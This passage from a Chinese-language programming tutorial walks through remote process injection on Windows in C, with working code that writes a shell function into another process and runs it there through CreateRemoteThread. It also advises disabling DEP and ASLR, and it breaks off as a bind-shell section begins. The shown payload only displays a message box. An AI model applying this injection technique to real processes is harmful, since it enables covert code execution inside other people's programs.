x);
//printf("MessageBox 基地址 = %x \n", msgbox);
msgbox(0, ptr->Text, 0, 0);
}
最后我们来看一下在主函数中我们需要做什么,在主函数中通过GetProcAddress
函数分别得到我们所需要的函数入口地址,并通过调用strcpy
函数分别将所需参数写出到ShellParametros
结构体中保存,当一切准备就绪再通过OpenProcess
打开远程进程,并设置一段读写执行内存空间,并调用WriteProcessMemory
将MyShell
函数写出到该内存中保存,最后调用CreateRemoteThread
开辟远程线程,执行弹窗功能;
这段代码主要包括以下步骤:
- 1.定义了一个
ShellParametros
类型的变量Param
和一个指向ShellParametros
结构体的指针remote
,并声明了一个HANDLE
类型的变量hProcess
和一个void*
类型的变量p
。
- 2.使用
LoadLibrary
和GetProcAddress
函数获取Kernel32
库中的LoadLibrary
和GetProcAddress
函数的地址,并将其保存到Param
结构体的相应字段中。
- 3.分别将
kernel32.dll
和 user32.dll
的文件名字符串保存到 Param
结构体的相应字段中,并将需要注入的代码函数名和文本字符串分别保存到 Param
结构体的相应字段中。
- 4.使用
OpenProcess
函数打开指定 PID
的进程,并分别使用 VirtualAllocEx
函数在该进程中分配内存空间,分别保存注入代码和 Param
结构体的数据。
- 5.使用
WriteProcessMemory
函数将注入代码和 Param
结构体的数据写入到指定进程中的内存空间中。
- 6.使用
CreateRemoteThread
函数创建一个远程线程,将注入代码的地址和 Param
结构体的地址传递给远程线程,并在指定进程中执行注入的代码。
代码的作用是在指定进程中注入代码,并调用该代码中的 MyShell
函数,该函数将动态加载 Kernel32
和 User32
库,并调用 User32
库中的 MessageBox
函数显示指定的文本内容。
int main(int argc, char* argv[])
{
ShellParametros Param, *remote = NULL;
HANDLE hProcess;
void* p = NULL;
// 进程PID
int ProcessID = 4016;
// 得到加载基地址的工具函数
Param.Kernel32Base = LoadLibrary("kernel32.dll");
Param.Kernel_LoadLibrary = (LOADLIBRARY)GetProcAddress((HINSTANCE)Param.Kernel32Base, "LoadLibraryA");
Param.Kernel_GetProcAddress = (GETPROCADDRESS)GetProcAddress((HINSTANCE)Param.Kernel32Base, "GetProcAddress");
// printf("获取到Kernel32.dll = %x", Param.KernelHandle);
// 分别获取Kernel32与User32的对应字符串
strcpy(Param.KernelString, "kernel32.dll");
strcpy(Param.UserString, "user32.dll");
strcpy(Param.User_MsgBox, "MessageBoxA");
strcpy(Param.Text, "hello lyshark");
// 根据PID注入代码到指定进程中
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessID);
p = VirtualAllocEx(hProcess, 0, 4096 * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
remote = (ShellParametros*)VirtualAllocEx(hProcess, 0, sizeof(ShellParametros), MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(hProcess, p, &MyShell, 4096 * 2, 0);
WriteProcessMemory(hProcess, remote, &Param, sizeof(ShellParametros), 0);
CreateRemoteThread(hProcess, 0, 0, (DWORD(__stdcall*)(void*)) p, remote, 0, 0);
// MyShell(&Param);
return 0;
}
至此读者可以将上述代码编译下来,但需要注意的是,由于我们采用了动态生成ShellCode
的功能,所以在使用此类代码是应关闭编译环境中的DEP及ASLR机制,否则由于地址的动态变化我们的代码将无法成功定位函数入口,也就无法注入Shell;
DEP(Data Execution Prevention)保护是一种防止攻击者在内存中执行恶意代码的技术。它通过将内存中的数据和代码区分开来,从而使得攻击者无法在数据区执行代码。DEP保护通过硬件和软件两种方式来实现。硬件实现通过CPU硬件中的NX位,禁止在数据区执行代码。软件实现通过操作系统内核检查每个进程中的内存页面的属性,禁止在非执行属性(NX)页面上执行代码。
ASLR(Address Space Layout Randomization)是一种防止攻击者利用缓冲区溢出等漏洞攻击的技术。它通过在每次程序运行时随机地分配内存地址,使得攻击者难以确定内存地址的位置,从而难以实现攻击。ASLR可以在操作系统内核、编译器和二进制代码等多个层面实现,如在编译时生成随机堆栈和堆地址、加载时随机化内存基地址等。
这两种技术都可以增强操作系统的安全性,防止恶意代码的攻击和利用。DEP保护主要针对代码执行方面,ASLR则主要针对代码和数据在内存中的分布方面。同时,两者也有一些弱点和缺陷,例如DEP保护可以被一些攻击技术绕过,ASLR的随机性可能会被暴力破解或者信息泄露等方式破坏。因此,在实际应用中需要综合考虑多种安全技术,以提高系统的安全性。
修改int ProcessID
并改为被注入进程的PID=4016
,然后直接运行注入程序,则读者会看到被注入进程弹出了一个MessageBox提示框,则说名我们的自定义Shell已经注入成功并运行了;
1.12.3 进程注入MyShell正向Shell
经过前面两个小案例的总结读者应该能够理解如何自己编写一个动态ShellCode
注入软件了,但是上述提到的这些功能并不具备真正的意义,而本章将继续延申,并实现一种可被连接的正向Shel